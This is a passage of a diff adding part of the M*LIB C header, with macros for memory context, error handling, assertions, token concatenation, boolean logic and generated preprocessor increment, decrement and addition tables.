+ * to be used globally for all M*LIB. There is no possibility to support only some containers and not others.
+ *
+ * Several macros are defined **globally** to support such features and being internally used by M*LIB containers.
+ * They expand to nothing if the memory context parameter is not requested:
+ * * M_P_EXPAND: expand to the first parameter 'm_context' of type M_USE_CONTEXT for a function that may use memory context.
+ * * M_P_EXPAND_void: same but assume that there is no argument in the initial function.
+ * * M_R_EXPAND: expand to the first parameter 'm_context' (followed by a comma)
+ * * M_R_EXPAND_void: same but assume that there is no argument
+ * * M_R: add the parameter m_context to the function call if needed,
+ * * M_P: define the prototype of a function that may have the parameter m_context.
+ * * M_N: define the prototype of a function that don't need the parameter m_context.
+ * * M_UNUSED_CONTEXT: avoid warning of unused m_context argument
+ * * M_GLOBAL_CONTEXT: define m_context to zero, meaning it is a global memory context.
+ */
+#ifndef M_USE_CONTEXT
+// Memory context parameter not used for memory function.
+# define M_P_EXPAND
+# define M_P_EXPAND_void void
+# define M_R_EXPAND
+# define M_R_EXPAND_void
+# define M_R
+# define M_UNUSED_CONTEXT()
+# define M_GLOBAL_CONTEXT()
+#else
+// Memory context parameter is used for function using memory. (local definition to the function).
+// Expand to a prototype to a function that may not trigger exception
+# define M_P_EXPAND M_USE_CONTEXT m_context, 
+# define M_P_EXPAND_void M_USE_CONTEXT m_context
+# define M_R_EXPAND m_context ,
+# define M_R_EXPAND_void m_context
+# define M_R(...) (m_context, __VA_ARGS__)
+# define M_UNUSED_CONTEXT() (void) m_context
+# define M_GLOBAL_CONTEXT() M_USE_CONTEXT m_context = { M_USE_GLOBAL_CONTEXT }; (void) m_context
+#endif
+
+// M_P: Expand to a prototype of a function that may trigger exception / accept memory context
+// M_N: Expand to a prototype of a function that may not trigger exception or accept memory context
+// If not user defined M_F or memory context, no overloaded M_INLINE,
+// simplify the definition of M_P/M_N to provide faster compile time.
+// (faster build: 0.54s instead of 0.80s in extreme expanding)
+#if !defined(M_USE_CONTEXT) && !defined(M_F) && !defined(M_USE_FINE_GRAINED_LINKAGE) && !defined(M_USE_DEF) && !defined(M_USE_DECL)
+# define M_P(rettype, name, suffix, ...) static inline rettype name ## suffix(__VA_ARGS__)
+# define M_N(rettype, name, suffix, ...) static inline rettype name ## suffix(__VA_ARGS__)
+#else
+# define M_P(rettype, name, suffix, ...) M_INLINE rettype M_F(name, suffix)(M_P_EXPAND __VA_ARGS__)
+# define M_N(rettype, name, suffix, ...) M_INLINE rettype M_F(name, suffix)(__VA_ARGS__)
+#endif
+
+
+/************************************************************/
+/*********************  ERROR handling **********************/
+/************************************************************/
+
+/* Raise a fatal error and terminate the current execution flow.
+   Default behavior performs the following actions:
+    * format and print the error message on stderr
+    * terminate the program.
+   Can be overloaded by the user code.
+   Usage:
+    M_RAISE_FATAL(message, ...)
+  with
+    message, a printf formatted message associated to the error
+*/
+#ifndef M_RAISE_FATAL
+#if M_USE_STDIO == 1
+#define M_RAISE_FATAL(...) do {                                               \
+    fprintf(stderr, "ERROR(M*LIB): " __VA_ARGS__);                            \
+    abort();                                                                  \
+  } while (0)
+#else
+# error Without stdio.h, definitions for macro M_RAISE_FATAL is mandatory.
+#endif
+#endif
+
+
+/* Define the default assertion macro used by M*LIB.
+ * By default, it is an encapsulation of CLIB assert.
+ * NOTE: Can be overriden by user if it needs to keep finer access 
+ * on the assertions.
+ */
+//TODO: If NDEBUG, simply do nothing "no expression", to speed up compilation speed.
+#ifndef M_ASSERT
+#define M_ASSERT(expr) assert(expr)
+#endif
+
+
+/* If within the M*LIB tests, perform additional (potentially slow) checks
+ * By default, it is an encapsulation of CLIB assert for M*LIB own tests.
+ * NOTE: Can be overriden by user if it needs to keep finer access 
+ * on the assertions.
+ */
+//TODO: If NDEBUG, simply do nothing "no expression", to speed up compilation speed.
+#ifndef M_ASSERT_SLOW
+# if defined(M_USE_ADDITIONAL_CHECKS) && M_USE_ADDITIONAL_CHECKS
+#  define M_ASSERT_SLOW(n) assert(n)
+# else
+#  define M_ASSERT_SLOW(n) (void) 0
+# endif
+#endif
+
+
+/* Always perform a runtime check of the given condition
+ * NOTE: Can be overriden by user if it needs to keep finer access 
+ * on the assertions or display message on another device.
+ */
+#ifndef M_ASSERT_INIT
+#define M_ASSERT_INIT(expr, object) {                                         \
+    if (!(expr)) {                                                            \
+      M_RAISE_FATAL("Cannot initialize %s at (%s:%s:%d): %s\n",               \
+                  (object), __FILE__, __func__, __LINE__, #expr);             \
+    } } while (0)
+#endif
+
+
+/* Define an assertion check on an index, compared to its maximum.
+ * The index is supposed to be unsigned.
+ * It is only used to valid user input, not an intermediary calculus.
+ * NOTE: Can be overriden by user if it needs to keep access under control
+ * even on release mode
+ * NOTE: (index)-(index) is used to represent 0, but to avoid spurious
+ * warning by the compiler on "comparaison is always true" for unsigned
+ * numbers (It is properly optimized in 0).
+ * */
+#ifndef M_ASSERT_INDEX
+#define M_ASSERT_INDEX(index, max) do {                                       \
+    M_ASSERT((index) >= ((index)-(index)) && (index) < (max));                \
+  } while (0)
+#endif
+
+
+/* Terminate the compilation of the current unit with an error message.
+   The error parameter is a C token which classifies the error
+   with an optional message detailing the error.
+   It is not an expression and shall not be used in an expression.
+   It shall be used outside of a function, therefore it is not an expression.
+   In C99, it uses a bitfield to be compatible with most compilers
+   (so that it properly displays 'error' on the command line
+   Quite useful to terminate with a proper error message rather than
+   a garbage of error due to incorrect code generation in the methods
+   expansion.
+ */
+#if (defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L && defined(static_assert)) || defined(__cplusplus)
+# define M_STATIC_FAILURE(error, msg) static_assert(false, #error ": " msg);
+#else
+# define M_STATIC_FAILURE(error, msg) struct error { int error : 0;};
+#endif
+
+
+/* Test at compile time if the given condition is true.
+   The error parameter is a C token which classifies the error
+   with an optional message detailing the error.
+   In C99, it uses a bitfield to be compatible with most compilers
+   (so that it properly displays 'error' on the command line
+   C11 static Assert is not usable in expression,
+   but is usable in struct declaration. Therefore we create
+   a dummy struct, define the static assert within it
+   compute its size and cast it to void.
+   NOTE: Some implementation claims to be C11 (default mode) but fails
+   to deliver a working assert.h with static_assert so we test for the
+   explicitly presence of the macro static_assert.
+*/
+#ifdef __cplusplus
+# define M_STATIC_ASSERT(cond, error, msg)                                    \
+  ([] { static_assert(cond, #error ": " msg); } ())
+#elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L && defined(static_assert)
+# define M_STATIC_ASSERT(cond, error, msg)                                    \
+  ((void) sizeof(struct { int error; static_assert(cond, #error ": " msg);}))
+#else
+# define M_STATIC_ASSERT(cond, error, msg)                                    \
+  ((void) sizeof(struct  { int error : !!(cond);}))
+#endif
+
+
+/* M_UNLIKELY used to test conditions that will trigger memory errors.
+   It is needed so that it can be disabled in coverage mode. */
+#define M_UNLIKELY_NOMEM(cond) M_UNLIKELY(cond)
+
+
+/***************************************************************/
+/****************** Preprocessing Times Macro ******************/
+/***************************************************************/
+
+/* Maximum number of argument which can be at least handled
+   by the macros of this header.
+   Can be increased for future release of this header.
+*/
+#define M_MAX_NB_ARGUMENT 52
+
+
+/* Basic handling of concatenation of symbols:
+ * M_C, M_C3, M_C4
+ */
+#define M_C2I(a, ...)       a ## __VA_ARGS__
+#define M_C(a, ...)         M_C2I(a, __VA_ARGS__)
+#define M_C3I(a, b, ...)    a ## b ## __VA_ARGS__
+#define M_C3(a, b, ...)     M_C3I(a ,b, __VA_ARGS__)
+#define M_C4I(a, b, c, ...) a ## b ## c ## __VA_ARGS__
+#define M_C4(a, b, c, ...)  M_C4I(a ,b, c, __VA_ARGS__)
+
+
+/* Generation of function name by concatenation
+   Can be overriden by user
+*/
+#ifndef M_F
+#define M_F(a, b)            M_C2I(a, b)
+#endif
+
+/* Concatenation of function name that enable developer to use customization
+   developer shall provide its own name customization by forcing M_F to it
+   then provide its own suffix in the namespace M_OVERRIDE_ ## suffix ():
+   Each generated suffix shall start with a comma.
+#define M_F(a,b) M_OVERRIDE_F(a,b)
+#define M_OVERRIDE__clear() , _cleanup ,
+#include "m-core.h"
+*/
+#define M_OVERRIDE_F(a, b) M_C(a, M_RET_ARG2( M_C(M_OVERRIDE_, b)() , b))
+
+/* Inverse 0 into 1 and 1 into 0 */
+#define M_INVI_0                    1
+#define M_INVI_1                    0
+#define M_INV(x)                    M_C(M_INVI_, x)
+
+/* Perform a AND between the two boolean inputs */
+#define M_ANDI_00                   0
+#define M_ANDI_01                   0
+#define M_ANDI_10                   0
+#define M_ANDI_11                   1
+#define M_AND(x,y)                  M_C3(M_ANDI_, x, y)
+
+/* Perform a AND between the three boolean inputs */
+#define M_ANDI_000                  0
+#define M_ANDI_001                  0
+#define M_ANDI_010                  0
+#define M_ANDI_011                  0
+#define M_ANDI_100                  0
+#define M_ANDI_101                  0
+#define M_ANDI_110                  0
+#define M_ANDI_111                  1
+#define M_AND3(x,y,z)               M_C4(M_ANDI_, x, y, z)
+
+/* Perform a OR between the boolean inputs */
+#define M_ORI_00                    0
+#define M_ORI_01                    1
+#define M_ORI_10                    1
+#define M_ORI_11                    1
+#define M_OR(x,y)                   M_C3(M_ORI_, x, y)
+
+/* Perform a OR between the three boolean inputs */
+#define M_ORI_000                   0
+#define M_ORI_001                   1
+#define M_ORI_010                   1
+#define M_ORI_011                   1
+#define M_ORI_100                   1
+#define M_ORI_101                   1
+#define M_ORI_110                   1
+#define M_ORI_111                   1
+#define M_OR3(x,y,z)                M_C4(M_ORI_, x, y, z)
+
+
+/* Increment the number given as argument (from [0..52[)
+   Generated by:
+   for i in $(seq 0 52) ; do printf "#define M_INC_%d %d\n" $i $(($i + 1)) ; done
+ */
+#define M_INC(x)          M_C(M_INC_, x)
+#define M_INC_0 1
+#define M_INC_1 2
+#define M_INC_2 3
+#define M_INC_3 4
+#define M_INC_4 5
+#define M_INC_5 6
+#define M_INC_6 7
+#define M_INC_7 8
+#define M_INC_8 9
+#define M_INC_9 10
+#define M_INC_10 11
+#define M_INC_11 12
+#define M_INC_12 13
+#define M_INC_13 14
+#define M_INC_14 15
+#define M_INC_15 16
+#define M_INC_16 17
+#define M_INC_17 18
+#define M_INC_18 19
+#define M_INC_19 20
+#define M_INC_20 21
+#define M_INC_21 22
+#define M_INC_22 23
+#define M_INC_23 24
+#define M_INC_24 25
+#define M_INC_25 26
+#define M_INC_26 27
+#define M_INC_27 28
+#define M_INC_28 29
+#define M_INC_29 30
+#define M_INC_30 31
+#define M_INC_31 32
+#define M_INC_32 33
+#define M_INC_33 34
+#define M_INC_34 35
+#define M_INC_35 36
+#define M_INC_36 37
+#define M_INC_37 38
+#define M_INC_38 39
+#define M_INC_39 40
+#define M_INC_40 41
+#define M_INC_41 42
+#define M_INC_42 43
+#define M_INC_43 44
+#define M_INC_44 45
+#define M_INC_45 46
+#define M_INC_46 47
+#define M_INC_47 48
+#define M_INC_48 49
+#define M_INC_49 50
+#define M_INC_50 51
+#define M_INC_51 52
+#define M_INC_52 53
+#define M_INC_53 M_OVERFLOW
+#define M_INC_M_OVERFLOW M_OVERFLOW
+#define M_INC_M_UNDERFLOW M_UNDERFLOW
+
+
+/* Decrement the number given in argument (from [0..52[) 
+   Generated by:
+   for i in $(seq 1 52) ; do printf "#define M_DEC_%d %d\n" $i $(($i - 1)) ; done
+*/
+#define M_DEC(x)          M_C(M_DEC_, x)
+#define M_DEC_M_UNDERFLOW M_UNDERFLOW
+#define M_DEC_M_OVERFLOW M_OVERFLOW
+#define M_DEC_0 M_UNDERFLOW
+#define M_DEC_1 0
+#define M_DEC_2 1
+#define M_DEC_3 2
+#define M_DEC_4 3
+#define M_DEC_5 4
+#define M_DEC_6 5
+#define M_DEC_7 6
+#define M_DEC_8 7
+#define M_DEC_9 8
+#define M_DEC_10 9
+#define M_DEC_11 10
+#define M_DEC_12 11
+#define M_DEC_13 12
+#define M_DEC_14 13
+#define M_DEC_15 14
+#define M_DEC_16 15
+#define M_DEC_17 16
+#define M_DEC_18 17
+#define M_DEC_19 18
+#define M_DEC_20 19
+#define M_DEC_21 20
+#define M_DEC_22 21
+#define M_DEC_23 22
+#define M_DEC_24 23
+#define M_DEC_25 24
+#define M_DEC_26 25
+#define M_DEC_27 26
+#define M_DEC_28 27
+#define M_DEC_29 28
+#define M_DEC_30 29
+#define M_DEC_31 30
+#define M_DEC_32 31
+#define M_DEC_33 32
+#define M_DEC_34 33
+#define M_DEC_35 34
+#define M_DEC_36 35
+#define M_DEC_37 36
+#define M_DEC_38 37
+#define M_DEC_39 38
+#define M_DEC_40 39
+#define M_DEC_41 40
+#define M_DEC_42 41
+#define M_DEC_43 42
+#define M_DEC_44 43
+#define M_DEC_45 44
+#define M_DEC_46 45
+#define M_DEC_47 46
+#define M_DEC_48 47
+#define M_DEC_49 48
+#define M_DEC_50 49
+#define M_DEC_51 50
+#define M_DEC_52 51
+
+
+/* Add two integers with both integers from [0 to M_MAX_NB_ARGUMENT[
+   Generated by:
+   for i in $(seq 0 52) ; do printf "#define M_ADDI_%d(n) " $i ; for j in $(seq 1 $i) ; do printf "M_INC(";done ; printf "n" ; for j in $(seq 1 $i) ; do printf ")" ;done ; printf "\n" ; done */
+#define M_ADD(x,y)  M_C(M_ADDI_, y)(x)
+#define M_ADDI_0(n) n
+#define M_ADDI_1(n) M_INC(n)
+#define M_ADDI_2(n) M_INC(M_INC(n))
+#define M_ADDI_3(n) M_INC(M_INC(M_INC(n)))
+#define M_ADDI_4(n) M_INC(M_INC(M_INC(M_INC(n))))
+#define M_ADDI_5(n) M_INC(M_INC(M_INC(M_INC(M_INC(n)))))
+#define M_ADDI_6(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))
+#define M_ADDI_7(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))
+#define M_ADDI_8(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))
+#define M_ADDI_9(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))
+#define M_ADDI_10(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))
+#define M_ADDI_11(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))
+#define M_ADDI_12(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))
+#define M_ADDI_13(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))
+#define M_ADDI_14(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))
+#define M_ADDI_15(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))
+#define M_ADDI_16(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))
+#define M_ADDI_17(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))
+#define M_ADDI_18(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))
+#define M_ADDI_19(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))
+#define M_ADDI_20(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))
+#define M_ADDI_21(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))
+#define M_ADDI_22(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))
+#define M_ADDI_23(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))
+#define M_ADDI_24(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))
+#define M_ADDI_25(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))
+#define M_ADDI_26(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))
+#define M_ADDI_27(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))
+#define M_ADDI_28(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))
+#define M_ADDI_29(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))
+#define M_ADDI_30(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))
+#define M_ADDI_31(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))
+#define M_ADDI_32(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))
+#define M_ADDI_33(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))
+#define M_ADDI_34(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))
+#define M_ADDI_35(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))
+#define M_ADDI_36(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))
+#define M_ADDI_37(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))
+#define M_ADDI_38(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_39(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_40(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_41(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_42(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_43(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_44(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_45(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_46(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_47(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_48(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_49(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_50(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_ADDI_51(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n)))))))))))))))))))))))))))))))))))))))))))))))))))
